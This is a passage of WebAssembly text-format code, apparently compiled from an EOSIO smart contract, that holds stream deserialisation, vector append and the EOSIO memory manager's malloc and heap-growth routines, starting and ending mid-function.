| (get_local $5) 1561 | ) 1562 | ) 1563 | ) 1564 | (block $label$2 1565 | (br_if $label$2 1566 | (i32.eqz 1567 | (i32.and 1568 | (i32.load8_u offset=16 1569 | (get_local $5) 1570 | ) 1571 | (i32.const 1) 1572 | ) 1573 | ) 1574 | ) 1575 | (call $_ZdlPv 1576 | (i32.load offset=24 1577 | (get_local $5) 1578 | ) 1579 | ) 1580 | ) 1581 | (i32.store offset=4 1582 | (i32.const 0) 1583 | (i32.add 1584 | (get_local $5) 1585 | (i32.const 96) 1586 | ) 1587 | ) 1588 | ) 1589 | (func $_ZN5eosiorsINS_10datastreamIPKcEEEERT_S6_RNSt3__112basic_stringIcNS7_11char_traitsIcEENS7_9allocatorIcEEEE (param $0 i32) (param $1 i32) (result i32) 1590 | (local $2 i32) 1591 | (local $3 i32) 1592 | (local $4 i32) 1593 | (local $5 i32) 1594 | (local $6 i32) 1595 | (local $7 i32) 1596 | (i32.store offset=4 1597 | (i32.const 0) 1598 | (tee_local $7 1599 | (i32.sub 1600 | (i32.load offset=4 1601 | (i32.const 0) 1602 | ) 1603 | (i32.const 32) 1604 | ) 1605 | ) 1606 | ) 1607 | (i32.store offset=24 1608 | (get_local $7) 1609 | (i32.const 0) 1610 | ) 1611 | (i64.store offset=16 1612 | (get_local $7) 1613 | (i64.const 0) 1614 | ) 1615 | (drop 1616 | (call $_ZN5eosiorsINS_10datastreamIPKcEEEERT_S6_RNSt3__16vectorIcNS7_9allocatorIcEEEE 1617 | (get_local $0) 1618 | (i32.add 1619 | (get_local $7) 1620 | (i32.const 16) 1621 | ) 1622 | ) 1623 | ) 1624 | (block $label$0 1625 | (block $label$1 1626 | (block $label$2 1627 | (block $label$3 1628 | (block $label$4 1629 | (block $label$5 1630 | (block $label$6 1631 | (block $label$7 1632 | (block $label$8 1633 | (br_if $label$8 1634 | (i32.ne 1635 | (tee_local $5 1636 | (i32.load offset=20 1637 | (get_local $7) 1638 | ) 1639 | ) 1640 | (tee_local $4 1641 | (i32.load offset=16 1642 | (get_local $7) 1643 | ) 1644 | ) 1645 | ) 1646 | ) 1647 | (br_if $label$7 1648 | (i32.and 1649 | (i32.load8_u 1650 | (get_local $1) 1651 | ) 1652 | (i32.const 1) 1653 | ) 1654 | ) 1655 | (i32.store16 1656 | (get_local $1) 1657 | (i32.const 0) 1658 | ) 1659 | (set_local $4 1660 | (i32.add 1661 | (get_local $1) 1662 | (i32.const 8) 1663 | ) 1664 | ) 1665 | (br $label$6) 1666 | ) 1667 | (i32.store 1668 | (i32.add 1669 | (get_local $7) 1670 | (i32.const 8) 1671 | ) 1672 | (i32.const 0) 1673 | ) 1674 | (i64.store 1675 | (get_local $7) 1676 | (i64.const 0) 1677 | ) 1678 | (br_if $label$0 1679 | (i32.ge_u 1680 | (tee_local $2 1681 | (i32.sub 1682 | (get_local $5) 1683 | (get_local $4) 1684 | ) 1685 | ) 1686 | (i32.const -16) 1687 | ) 1688 | ) 1689 | (br_if $label$5 1690 | (i32.ge_u 1691 | (get_local $2) 1692 | (i32.const 11) 1693 | ) 1694 | ) 1695 | (i32.store8 1696 | (get_local $7) 1697 | (i32.shl 1698 | (get_local $2) 1699 | (i32.const 1) 1700 | ) 1701 | ) 1702 | (set_local $6 1703 | (i32.or 1704 | (get_local $7) 1705 | (i32.const 1) 1706 | ) 1707 | ) 1708 | (br_if $label$4 1709 | (get_local $2) 1710 | ) 1711 | (br $label$3) 1712 | ) 1713 | (i32.store8 1714 | (i32.load offset=8 1715 | (get_local $1) 1716 | ) 1717 | (i32.const 0) 1718 | ) 1719 | (i32.store offset=4 1720 | (get_local $1) 1721 | (i32.const 0) 1722 | ) 1723 | (set_local $4 1724 | (i32.add 1725 | (get_local $1) 1726 | (i32.const 8) 1727 | ) 1728 | ) 1729 | ) 1730 | (call $_ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7reserveEj 1731 | (get_local $1) 1732 | (i32.const 0) 1733 | ) 1734 | (i32.store 1735 | (get_local $4) 1736 | (i32.const 0) 1737 | ) 1738 | (i64.store align=4 1739 | (get_local $1) 1740 | (i64.const 0) 1741 | ) 1742 | (br_if $label$2 1743 | (tee_local $4 1744 | (i32.load offset=16 1745 | (get_local $7) 1746 | ) 1747 | ) 1748 | ) 1749 | (br $label$1) 1750 | ) 1751 | (set_local $6 1752 | (call $_Znwj 1753 | (tee_local $5 1754 | (i32.and 1755 | (i32.add 1756 | (get_local $2) 1757 | (i32.const 16) 1758 | ) 1759 | (i32.const -16) 1760 | ) 1761 | ) 1762 | ) 1763 | ) 1764 | (i32.store 1765 | (get_local $7) 1766 | (i32.or 1767 | (get_local $5) 1768 | (i32.const 1) 1769 | ) 1770 | ) 1771 | (i32.store offset=8 1772 | (get_local $7) 1773 | (get_local $6) 1774 | ) 1775 | (i32.store offset=4 1776 | (get_local $7) 1777 | (get_local $2) 1778 | ) 1779 | ) 1780 | (set_local $3 1781 | (get_local $2) 1782 | ) 1783 | (set_local $5 1784 | (get_local $6) 1785 | ) 1786 | (loop $label$9 1787 | (i32.store8 1788 | (get_local $5) 1789 | (i32.load8_u 1790 | (get_local $4) 1791 | ) 1792 | ) 1793 | (set_local $5 1794 | (i32.add 1795 | (get_local $5) 1796 | (i32.const 1) 1797 | ) 1798 | ) 1799 | (set_local $4 1800 | (i32.add 1801 | (get_local $4) 1802 | (i32.const 1) 1803 | ) 1804 | ) 1805 | (br_if $label$9 1806 | (tee_local $3 1807 | (i32.add 1808 | (get_local $3) 1809 | (i32.const -1) 1810 | ) 1811 | ) 1812 | ) 1813 | ) 1814 | (set_local $6 1815 | (i32.add 1816 | (get_local $6) 1817 | (get_local $2) 1818 | ) 1819 | ) 1820 | ) 1821 | (i32.store8 1822 | (get_local $6) 1823 | (i32.const 0) 1824 | ) 1825 | (block $label$10 1826 | (block $label$11 1827 | (br_if $label$11 1828 | (i32.and 1829 | (i32.load8_u 1830 | (get_local $1) 1831 | ) 1832 | (i32.const 1) 1833 | ) 1834 | ) 1835 | (i32.store16 1836 | (get_local $1) 1837 | (i32.const 0) 1838 | ) 1839 | (br $label$10) 1840 | ) 1841 | (i32.store8 1842 | (i32.load offset=8 1843 | (get_local $1) 1844 | ) 1845 | (i32.const 0) 1846 | ) 1847 | (i32.store offset=4 1848 | (get_local $1) 1849 | (i32.const 0) 1850 | ) 1851 | ) 1852 | (call $_ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE7reserveEj 1853 | (get_local $1) 1854 | (i32.const 0) 1855 | ) 1856 | (i32.store 1857 | (i32.add 1858 | (get_local $1) 1859 | (i32.const 8) 1860 | ) 1861 | (i32.load 1862 | (i32.add 1863 | (get_local $7) 1864 | (i32.const 8) 1865 | ) 1866 | ) 1867 | ) 1868 | (i64.store align=4 1869 | (get_local $1) 1870 | (i64.load 1871 | (get_local $7) 1872 | ) 1873 | ) 1874 | (br_if $label$1 1875 | (i32.eqz 1876 | (tee_local $4 1877 | (i32.load offset=16 1878 | (get_local $7) 1879 | ) 1880 | ) 1881 | ) 1882 | ) 1883 | ) 1884 | (i32.store offset=20 1885 | (get_local $7) 1886 | (get_local $4) 1887 | ) 1888 | (call $_ZdlPv 1889 | (get_local $4) 1890 | ) 1891 | ) 1892 | (i32.store offset=4 1893 | (i32.const 0) 1894 | (i32.add 1895 | (get_local $7) 1896 | (i32.const 32) 1897 | ) 1898 | ) 1899 | (return 1900 | (get_local $0) 1901 | ) 1902 | ) 1903 | (call $_ZNKSt3__121__basic_string_commonILb1EE20__throw_length_errorEv 1904 | (get_local $7) 1905 | ) 1906 | (unreachable) 1907 | ) 1908 | (func $_ZN5eosiorsINS_10datastreamIPKcEEEERT_S6_RNSt3__16vectorIcNS7_9allocatorIcEEEE (param $0 i32) (param $1 i32) (result i32) 1909 | (local $2 i32) 1910 | (local $3 i32) 1911 | (local $4 i32) 1912 | (local $5 i32) 1913 | (local $6 i64) 1914 | (local $7 i32) 1915 | (set_local $5 1916 | (i32.load offset=4 1917 | (get_local $0) 1918 | ) 1919 | ) 1920 | (set_local $7 1921 | (i32.const 0) 1922 | ) 1923 | (set_local $6 1924 | (i64.const 0) 1925 | ) 1926 | (set_local $2 1927 | (i32.add 1928 | (get_local $0) 1929 | (i32.const 8) 1930 | ) 1931 | ) 1932 | (set_local $3 1933 | (i32.add 1934 | (get_local $0) 1935 | (i32.const 4) 1936 | ) 1937 | ) 1938 | (loop $label$0 1939 | (call $eosio_assert 1940 | (i32.lt_u 1941 | (get_local $5) 1942 | (i32.load 1943 | (get_local $2) 1944 | ) 1945 | ) 1946 | (i32.const 224) 1947 | ) 1948 | (set_local $4 1949 | (i32.load8_u 1950 | (tee_local $5 1951 | (i32.load 1952 | (get_local $3) 1953 | ) 1954 | ) 1955 | ) 1956 | ) 1957 | (i32.store 1958 | (get_local $3) 1959 | (tee_local $5 1960 | (i32.add 1961 | (get_local $5) 1962 | (i32.const 1) 1963 | ) 1964 | ) 1965 | ) 1966 | (set_local $6 1967 | (i64.or 1968 | (i64.extend_u/i32 1969 | (i32.shl 1970 | (i32.and 1971 | (get_local $4) 1972 | (i32.const 127) 1973 | ) 1974 | (tee_local $7 1975 | (i32.and 1976 | (get_local $7) 1977 | (i32.const 255) 1978 | ) 1979 | ) 1980 | ) 1981 | ) 1982 | (get_local $6) 1983 | ) 1984 | ) 1985 | (set_local $7 1986 | (i32.add 1987 | (get_local $7) 1988 | (i32.const 7) 1989 | ) 1990 | ) 1991 | (br_if $label$0 1992 | (i32.shr_u 1993 | (get_local $4) 1994 | (i32.const 7) 1995 | ) 1996 | ) 1997 | ) 1998 | (block $label$1 1999 | (block $label$2 2000 | (br_if $label$2 2001 | (i32.le_u 2002 | (tee_local $3 2003 | (i32.wrap/i64 2004 | (get_local $6) 2005 | ) 2006 | ) 2007 | (tee_local $2 2008 | (i32.sub 2009 | (tee_local $7 2010 | (i32.load offset=4 2011 | (get_local $1) 2012 | ) 2013 | ) 2014 | (tee_local $4 2015 | (i32.load 2016 | (get_local $1) 2017 | ) 2018 | ) 2019 | ) 2020 | ) 2021 | ) 2022 | ) 2023 | (call $_ZNSt3__16vectorIcNS_9allocatorIcEEE8__appendEj 2024 | (get_local $1) 2025 | (i32.sub 2026 | (get_local $3) 2027 | (get_local $2) 2028 | ) 2029 | ) 2030 | (set_local $5 2031 | (i32.load 2032 | (i32.add 2033 | (get_local $0) 2034 | (i32.const 4) 2035 | ) 2036 | ) 2037 | ) 2038 | (set_local $7 2039 | (i32.load 2040 | (i32.add 2041 | (get_local $1) 2042 | (i32.const 4) 2043 | ) 2044 | ) 2045 | ) 2046 | (set_local $4 2047 | (i32.load 2048 | (get_local $1) 2049 | ) 2050 | ) 2051 | (br $label$1) 2052 | ) 2053 | (br_if $label$1 2054 | (i32.ge_u 2055 | (get_local $3) 2056 | (get_local $2) 2057 | ) 2058 | ) 2059 | (i32.store 2060 | (i32.add 2061 | (get_local $1) 2062 | (i32.const 4) 2063 | ) 2064 | (tee_local $7 2065 | (i32.add 2066 | (get_local $4) 2067 | (get_local $3) 2068 | ) 2069 | ) 2070 | ) 2071 | ) 2072 | (call $eosio_assert 2073 | (i32.ge_u 2074 | (i32.sub 2075 | (i32.load 2076 | (i32.add 2077 | (get_local $0) 2078 | (i32.const 8) 2079 | ) 2080 | ) 2081 | (get_local $5) 2082 | ) 2083 | (tee_local $5 2084 | (i32.sub 2085 | (get_local $7) 2086 | (get_local $4) 2087 | ) 2088 | ) 2089 | ) 2090 | (i32.const 208) 2091 | ) 2092 | (drop 2093 | (call $memcpy 2094 | (get_local $4) 2095 | (i32.load 2096 | (tee_local $7 2097 | (i32.add 2098 | (get_local $0) 2099 | (i32.const 4) 2100 | ) 2101 | ) 2102 | ) 2103 | (get_local $5) 2104 | ) 2105 | ) 2106 | (i32.store 2107 | (get_local $7) 2108 | (i32.add 2109 | (i32.load 2110 | (get_local $7) 2111 | ) 2112 | (get_local $5) 2113 | ) 2114 | ) 2115 | (get_local $0) 2116 | ) 2117 | (func $_ZNSt3__16vectorIcNS_9allocatorIcEEE8__appendEj (param $0 i32) (param $1 i32) 2118 | (local $2 i32) 2119 | (local $3 i32) 2120 | (local $4 i32) 2121 | (local $5 i32) 2122 | (local $6 i32) 2123 | (block $label$0 2124 | (block $label$1 2125 | (block $label$2 2126 | (block $label$3 2127 | (block $label$4 2128 | (br_if $label$4 2129 | (i32.ge_u 2130 | (i32.sub 2131 | (tee_local $2 2132 | (i32.load offset=8 2133 | (get_local $0) 2134 | ) 2135 | ) 2136 | (tee_local $6 2137 | (i32.load offset=4 2138 | (get_local $0) 2139 | ) 2140 | ) 2141 | ) 2142 | (get_local $1) 2143 | ) 2144 | ) 2145 | (br_if $label$2 2146 | (i32.le_s 2147 | (tee_local $4 2148 | (i32.add 2149 | (tee_local $3 2150 | (i32.sub 2151 | (get_local $6) 2152 | (tee_local $5 2153 | (i32.load 2154 | (get_local $0) 2155 | ) 2156 | ) 2157 | ) 2158 | ) 2159 | (get_local $1) 2160 | ) 2161 | ) 2162 | (i32.const -1) 2163 | ) 2164 | ) 2165 | (set_local $6 2166 | (i32.const 2147483647) 2167 | ) 2168 | (block $label$5 2169 | (br_if $label$5 2170 | (i32.gt_u 2171 | (tee_local $2 2172 | (i32.sub 2173 | (get_local $2) 2174 | (get_local $5) 2175 | ) 2176 | ) 2177 | (i32.const 1073741822) 2178 | ) 2179 | ) 2180 | (br_if $label$3 2181 | (i32.eqz 2182 | (tee_local $6 2183 | (select 2184 | (get_local $4) 2185 | (tee_local $6 2186 | (i32.shl 2187 | (get_local $2) 2188 | (i32.const 1) 2189 | ) 2190 | ) 2191 | (i32.lt_u 2192 | (get_local $6) 2193 | (get_local $4) 2194 | ) 2195 | ) 2196 | ) 2197 | ) 2198 | ) 2199 | ) 2200 | (set_local $2 2201 | (call $_Znwj 2202 | (get_local $6) 2203 | ) 2204 | ) 2205 | (br $label$1) 2206 | ) 2207 | (set_local $0 2208 | (i32.add 2209 | (get_local $0) 2210 | (i32.const 4) 2211 | ) 2212 | ) 2213 | (loop $label$6 2214 | (i32.store8 2215 | (get_local $6) 2216 | (i32.const 0) 2217 | ) 2218 | (i32.store 2219 | (get_local $0) 2220 | (tee_local $6 2221 | (i32.add 2222 | (i32.load 2223 | (get_local $0) 2224 | ) 2225 | (i32.const 1) 2226 | ) 2227 | ) 2228 | ) 2229 | (br_if $label$6 2230 | (tee_local $1 2231 | (i32.add 2232 | (get_local $1) 2233 | (i32.const -1) 2234 | ) 2235 | ) 2236 | ) 2237 | (br $label$0) 2238 | ) 2239 | ) 2240 | (set_local $6 2241 | (i32.const 0) 2242 | ) 2243 | (set_local $2 2244 | (i32.const 0) 2245 | ) 2246 | (br $label$1) 2247 | ) 2248 | (call $_ZNKSt3__120__vector_base_commonILb1EE20__throw_length_errorEv 2249 | (get_local $0) 2250 | ) 2251 | (unreachable) 2252 | ) 2253 | (set_local $4 2254 | (i32.add 2255 | (get_local $2) 2256 | (get_local $6) 2257 | ) 2258 | ) 2259 | (set_local $6 2260 | (tee_local $5 2261 | (i32.add 2262 | (get_local $2) 2263 | (get_local $3) 2264 | ) 2265 | ) 2266 | ) 2267 | (loop $label$7 2268 | (i32.store8 2269 | (get_local $6) 2270 | (i32.const 0) 2271 | ) 2272 | (set_local $6 2273 | (i32.add 2274 | (get_local $6) 2275 | (i32.const 1) 2276 | ) 2277 | ) 2278 | (br_if $label$7 2279 | (tee_local $1 2280 | (i32.add 2281 | (get_local $1) 2282 | (i32.const -1) 2283 | ) 2284 | ) 2285 | ) 2286 | ) 2287 | (set_local $5 2288 | (i32.sub 2289 | (get_local $5) 2290 | (tee_local $2 2291 | (i32.sub 2292 | (i32.load 2293 | (tee_local $3 2294 | (i32.add 2295 | (get_local $0) 2296 | (i32.const 4) 2297 | ) 2298 | ) 2299 | ) 2300 | (tee_local $1 2301 | (i32.load 2302 | (get_local $0) 2303 | ) 2304 | ) 2305 | ) 2306 | ) 2307 | ) 2308 | ) 2309 | (block $label$8 2310 | (br_if $label$8 2311 | (i32.lt_s 2312 | (get_local $2) 2313 | (i32.const 1) 2314 | ) 2315 | ) 2316 | (drop 2317 | (call $memcpy 2318 | (get_local $5) 2319 | (get_local $1) 2320 | (get_local $2) 2321 | ) 2322 | ) 2323 | (set_local $1 2324 | (i32.load 2325 | (get_local $0) 2326 | ) 2327 | ) 2328 | ) 2329 | (i32.store 2330 | (get_local $0) 2331 | (get_local $5) 2332 | ) 2333 | (i32.store 2334 | (get_local $3) 2335 | (get_local $6) 2336 | ) 2337 | (i32.store 2338 | (i32.add 2339 | (get_local $0) 2340 | (i32.const 8) 2341 | ) 2342 | (get_local $4) 2343 | ) 2344 | (br_if $label$0 2345 | (i32.eqz 2346 | (get_local $1) 2347 | ) 2348 | ) 2349 | (call $_ZdlPv 2350 | (get_local $1) 2351 | ) 2352 | (return) 2353 | ) 2354 | ) 2355 | (func $malloc (param $0 i32) (result i32) 2356 | (call $_ZN5eosio14memory_manager6mallocEm 2357 | (i32.const 256) 2358 | (get_local $0) 2359 | ) 2360 | ) 2361 | (func $_ZN5eosio14memory_manager6mallocEm (param $0 i32) (param $1 i32) (result i32) 2362 | (local $2 i32) 2363 | (local $3 i32) 2364 | (local $4 i32) 2365 | (local $5 i32) 2366 | (local $6 i32) 2367 | (local $7 i32) 2368 | (local $8 i32) 2369 | (local $9 i32) 2370 | (local $10 i32) 2371 | (local $11 i32) 2372 | (local $12 i32) 2373 | (local $13 i32) 2374 | (block $label$0 2375 | (br_if $label$0 2376 | (i32.eqz 2377 | (get_local $1) 2378 | ) 2379 | ) 2380 | (block $label$1 2381 | (br_if $label$1 2382 | (tee_local $13 2383 | (i32.load offset=8384 2384 | (get_local $0) 2385 | ) 2386 | ) 2387 | ) 2388 | (set_local $13 2389 | (i32.const 16) 2390 | ) 2391 | (i32.store 2392 | (i32.add 2393 | (get_local $0) 2394 | (i32.const 8384) 2395 | ) 2396 | (i32.const 16) 2397 | ) 2398 | ) 2399 | (set_local $2 2400 | (select 2401 | (i32.sub 2402 | (i32.add 2403 | (get_local $1) 2404 | (i32.const 8) 2405 | ) 2406 | (tee_local $2 2407 | (i32.and 2408 | (i32.add 2409 | (get_local $1) 2410 | (i32.const 4) 2411 | ) 2412 | (i32.const 7) 2413 | ) 2414 | ) 2415 | ) 2416 | (get_local $1) 2417 | (get_local $2) 2418 | ) 2419 | ) 2420 | (block $label$2 2421 | (block $label$3 2422 | (block $label$4 2423 | (br_if $label$4 2424 | (i32.ge_u 2425 | (tee_local $10 2426 | (i32.load offset=8388 2427 | (get_local $0) 2428 | ) 2429 | ) 2430 | (get_local $13) 2431 | ) 2432 | ) 2433 | (set_local $1 2434 | (i32.add 2435 | (i32.add 2436 | (get_local $0) 2437 | (i32.mul 2438 | (get_local $10) 2439 | (i32.const 12) 2440 | ) 2441 | ) 2442 | (i32.const 8192) 2443 | ) 2444 | ) 2445 | (block $label$5 2446 | (br_if $label$5 2447 | (get_local $10) 2448 | ) 2449 | (br_if $label$5 2450 | (i32.load 2451 | (tee_local $13 2452 | (i32.add 2453 | (get_local $0) 2454 | (i32.const 8196) 2455 | ) 2456 | ) 2457 | ) 2458 | ) 2459 | (i32.store 2460 | (get_local $1) 2461 | (i32.const 8192) 2462 | ) 2463 | (i32.store 2464 | (get_local $13) 2465 | (get_local $0) 2466 | ) 2467 | ) 2468 | (set_local $10 2469 | (i32.add 2470 | (get_local $2) 2471 | (i32.const 4) 2472 | ) 2473 | ) 2474 | (loop $label$6 2475 | (block $label$7 2476 | (br_if $label$7 2477 | (i32.gt_u 2478 | (i32.add 2479 | (tee_local $13 2480 | (i32.load offset=8 2481 | (get_local $1) 2482 | ) 2483 | ) 2484 | (get_local $10) 2485 | ) 2486 | (i32.load 2487 | (get_local $1) 2488 | ) 2489 | ) 2490 | ) 2491 | (i32.store 2492 | (tee_local $13 2493 | (i32.add 2494 | (i32.load offset=4 2495 | (get_local $1) 2496 | ) 2497 | (get_local $13) 2498 | ) 2499 | ) 2500 | (i32.or 2501 | (i32.and 2502 | (i32.load 2503 | (get_local $13) 2504 | ) 2505 | (i32.const -2147483648) 2506 | ) 2507 | (get_local $2) 2508 | ) 2509 | ) 2510 | (i32.store 2511 | (tee_local $1 2512 | (i32.add 2513 | (get_local $1) 2514 | (i32.const 8) 2515 | ) 2516 | ) 2517 | (i32.add 2518 | (i32.load 2519 | (get_local $1) 2520 | ) 2521 | (get_local $10) 2522 | ) 2523 | ) 2524 | (i32.store 2525 | (get_local $13) 2526 | (i32.or 2527 | (i32.load 2528 | (get_local $13) 2529 | ) 2530 | (i32.const -2147483648) 2531 | ) 2532 | ) 2533 | (br_if $label$3 2534 | (tee_local $1 2535 | (i32.add 2536 | (get_local $13) 2537 | (i32.const 4) 2538 | ) 2539 | ) 2540 | ) 2541 | ) 2542 | (br_if $label$6 2543 | (tee_local $1 2544 | (call $_ZN5eosio14memory_manager16next_active_heapEv 2545 | (get_local $0) 2546 | ) 2547 | ) 2548 | ) 2549 | ) 2550 | ) 2551 | (set_local $4 2552 | (i32.sub 2553 | (i32.const 2147483644) 2554 | (get_local $2) 2555 | ) 2556 | ) 2557 | (set_local $11 2558 | (i32.add 2559 | (get_local $0) 2560 | (i32.const 8392) 2561 | ) 2562 | ) 2563 | (set_local $12 2564 | (i32.add 2565 | (get_local $0) 2566 | (i32.const 8384) 2567 | ) 2568 | ) 2569 | (set_local $13 2570 | (tee_local $3 2571 | (i32.load offset=8392 2572 | (get_local $0) 2573 | ) 2574 | ) 2575 | ) 2576 | (loop $label$8 2577 | (call $eosio_assert 2578 | (i32.eq 2579 | (i32.load 2580 | (i32.add 2581 | (tee_local $1 2582 | (i32.add 2583 | (get_local $0) 2584 | (i32.mul 2585 | (get_local $13) 2586 | (i32.const 12) 2587 | ) 2588 | ) 2589 | ) 2590 | (i32.const 8200) 2591 | ) 2592 | ) 2593 | (i32.load 2594 | (tee_local $5 2595 | (i32.add 2596 | (get_local $1) 2597 | (i32.const 8192) 2598 | ) 2599 | ) 2600 | ) 2601 | ) 2602 | (i32.const 8656) 2603 | ) 2604 | (set_local $13 2605 | (i32.add 2606 | (tee_local $6 2607 | (i32.load 2608 | (i32.add 2609 | (get_local $1) 2610 | (i32.const 8196) 2611 | ) 2612 | ) 2613 | ) 2614 | (i32.const 4) 2615 | ) 2616 | ) 2617 | (loop $label$9 2618 | (set_local $7 2619 | (i32.add 2620 | (get_local $6) 2621 | (i32.load 2622 | (get_local $5) 2623 | ) 2624 | ) 2625 | ) 2626 | (set_local $1 2627 | (i32.and 2628 | (tee_local $9 2629 | (i32.load 2630 | (tee_local $8 2631 | (i32.add 2632 | (get_local $13) 2633 | (i32.const -4) 2634 | ) 2635 | ) 2636 | ) 2637 | ) 2638 | (i32.const 2147483647) 2639 | ) 2640 | ) 2641 | (block $label$10 2642 | (br_if $label$10 2643 | (i32.lt_s 2644 | (get_local $9) 2645 | (i32.const 0) 2646 | ) 2647 | ) 2648 | (block $label$11 2649 | (br_if $label$11 2650 | (i32.ge_u 2651 | (get_local $1) 2652 | (get_local $2) 2653 | ) 2654 | ) 2655 | (loop $label$12 2656 | (br_if $label$11 2657 | (i32.ge_u 2658 | (tee_local $10 2659 | (i32.add 2660 | (get_local $13) 2661 | (get_local $1) 2662 | ) 2663 | ) 2664 | (get_local $7) 2665 | ) 2666 | ) 2667 | (br_if $label$11 2668 | (i32.lt_s 2669 | (tee_local $10 2670 | (i32.load 2671 | (get_local $10) 2672 | ) 2673 | ) 2674 | (i32.const 0) 2675 | ) 2676 | ) 2677 | (br_if $label$12 2678 | (i32.lt_u 2679 | (tee_local $1 2680 | (i32.add 2681 | (i32.add 2682 | (get_local $1) 2683 | (i32.and 2684 | (get_local $10) 2685 | (i32.const 2147483647) 2686 | ) 2687 | ) 2688 | (i32.const 4) 2689 | ) 2690 | ) 2691 | (get_local $2) 2692 | ) 2693 | ) 2694 | ) 2695 | ) 2696 | (i32.store 2697 | (get_local $8) 2698 | (i32.or 2699 | (select 2700 | (get_local $1) 2701 | (get_local $2) 2702 | (i32.lt_u 2703 | (get_local $1) 2704 | (get_local $2) 2705 | ) 2706 | ) 2707 | (i32.and 2708 | (get_local $9) 2709 | (i32.const -2147483648) 2710 | ) 2711 | ) 2712 | ) 2713 | (block $label$13 2714 | (br_if $label$13 2715 | (i32.le_u 2716 | (get_local $1) 2717 | (get_local $2) 2718 | ) 2719 | ) 2720 | (i32.store 2721 | (i32.add 2722 | (get_local $13) 2723 | (get_local $2) 2724 | ) 2725 | (i32.and 2726 | (i32.add 2727 | (get_local $4) 2728 | (get_local $1) 2729 | ) 2730 | (i32.const 2147483647) 2731 | ) 2732 | ) 2733 | ) 2734 | (br_if $label$2 2735 | (i32.ge_u 2736 | (get_local $1) 2737 | (get_local $2) 2738 | ) 2739 | ) 2740 | ) 2741 | (br_if $label$9 2742 | (i32.lt_u 2743 | (tee_local $13 2744 | (i32.add 2745 | (i32.add 2746 | (get_local $13) 2747 | (get_local $1) 2748 | ) 2749 | (i32.const 4) 2750 | ) 2751 | ) 2752 | (get_local $7) 2753 | ) 2754 | ) 2755 | ) 2756 | (set_local $1 2757 | (i32.const 0) 2758 | ) 2759 | (i32.store 2760 | (get_local $11) 2761 | (tee_local $13 2762 | (select 2763 | (i32.const 0) 2764 | (tee_local $13 2765 | (i32.add 2766 | (i32.load 2767 | (get_local $11) 2768 | ) 2769 | (i32.const 1) 2770 | ) 2771 | ) 2772 | (i32.eq 2773 | (get_local $13) 2774 | (i32.load 2775 | (get_local $12) 2776 | ) 2777 | ) 2778 | ) 2779 | ) 2780 | ) 2781 | (br_if $label$8 2782 | (i32.ne 2783 | (get_local $13) 2784 | (get_local $3) 2785 | ) 2786 | ) 2787 | ) 2788 | ) 2789 | (return 2790 | (get_local $1) 2791 | ) 2792 | ) 2793 | (i32.store 2794 | (get_local $8) 2795 | (i32.or 2796 | (i32.load 2797 | (get_local $8) 2798 | ) 2799 | (i32.const -2147483648) 2800 | ) 2801 | ) 2802 | (return 2803 | (get_local $13) 2804 | ) 2805 | ) 2806 | (i32.const 0) 2807 | ) 2808 | (func $_ZN5eosio14memory_manager16next_active_heapEv (param $0 i32) (result i32) 2809 | (local $1 i32) 2810 | (local $2 i32) 2811 | (local $3 i32) 2812 | (local $4 i32) 2813 | (local $5 i32) 2814 | (local $6 i32) 2815 | (local $7 i32) 2816 | (local $8 i32) 2817 | (set_local $1 2818 | (i32.load offset=8388 2819 | (get_local $0) 2820 | ) 2821 | ) 2822 | (block $label$0 2823 | (block $label$1 2824 | (br_if $label$1 2825 | (i32.eqz 2826 | (i32.load8_u offset=8742 2827 | (i32.const 0) 2828 | ) 2829 | ) 2830 | ) 2831 | (set_local $7 2832 | (i32.load offset=8744 2833 | (i32.const 0) 2834 | ) 2835 | ) 2836 | (br $label$0) 2837 | ) 2838 | (set_local $7 2839 | (current_memory) 2840 | ) 2841 | (i32.store8 offset=8742 2842 | (i32.const 0) 2843 | (i32.const 1) 2844 | ) 2845 | (i32.store offset=8744 2846 | (i32.const 0) 2847 | (tee_local $7 2848 | (i32.shl 2849 | (get_local $7) 2850 | (i32.const 16) 2851 | ) 2852 | ) 2853 | ) 2854 | ) 2855 | (set_local $3 2856 | (get_local $7) 2857 | ) 2858 | (block $label$2 2859 | (block $label$3 2860 | (block $label$4 2861 | (block $label$5 2862 | (br_if $label$5 2863 | (i32.le_u 2864 | (tee_local $2 2865 | (i32.shr_u 2866 | (i32.add 2867 | (get_local $7) 2868 | (i32.const 65535) 2869 | ) 2870 | (i32.const 16) 2871 | ) 2872 | ) 2873 | (tee_local $8 2874 | (current_memory) 2875 | ) 2876 | ) 2877 | ) 2878 | (drop 2879 | (grow_memory 2880 | (i32.sub 2881 | (get_local $2) 2882 | (get_local $8) 2883 | ) 2884 | ) 2885 | ) 2886 | (set_local $8 2887 | (i32.const 0) 2888 | ) 2889 | (br_if $label$4 2890 | (i32.ne 2891 | (get_local $2) 2892 | (current_memory) 2893 | ) 2894 | ) 2895 | (set_local $3 2896 | (i32.load offset=8744 2897 | (i32.const 0) 2898 | ) 2899 | ) 2900 | ) 2901 | (set_local $8 2902 | (i32.const 0) 2903 | ) 2904 | (i32.store offset=8744 2905 | (i32.const 0) 2906 | (get_local $3) 2907 | ) 2908 | (br_if $label$4 2909 | (i32.lt_s 2910 | (get_local $7) 2911 | (i32.const 0) 2912 | ) 2913 | ) 2914 | (set_local $2 2915 | (i32.add 2916 | (get_local $0) 2917 | (i32.mul 2918 | (get_local $1) 2919 | (i32.const 12) 2920 | ) 2921 | ) 2922 | ) 2923 | (set_local $7 2924 | (i32.sub 2925 | (i32.sub 2926 | (i32.add 2927 | (get_local $7) 2928 | (select 2929 | (i32.const 65536) 2930 | (i32.const 131072) 2931 | (tee_local $6 2932 | (i32.lt_u 2933 | (tee_local $8 2934 | (i32.and 2935 | (get_local $7) 2936 | (i32.const 65535) 2937 | ) 2938 | ) 2939 | (i32.const 64513) 2940 | ) 2941 | ) 2942 | ) 2943 | ) 2944 | (select 2945 | (get_local $8) 2946 | (i32.and 2947 | (get_local $7) 2948 | (i32.const 131071) 2949 | ) 2950 | (get_local $6) 2951 | ) 2952 | ) 2953 | (get_local $7) 2954 | ) 2955 | ) 2956 | (block $label$6 2957 | (br_if $label$6 2958 | (i32.load8_u offset=8742 2959 | (i32.const 0) 2960 | ) 2961 | ) 2962 | (set_local $3 2963 | (current_memory) 2964 | ) 2965 | (i32.store8 offset=8742 2966 | (i32.const 0) 2967 | (i32.const 1) 2968 | ) 2969 | (i32.store offset=8744 2970 | (i32.const 0) 2971 | (tee_local $3 2972 | (i32.shl 2973 | (get_local 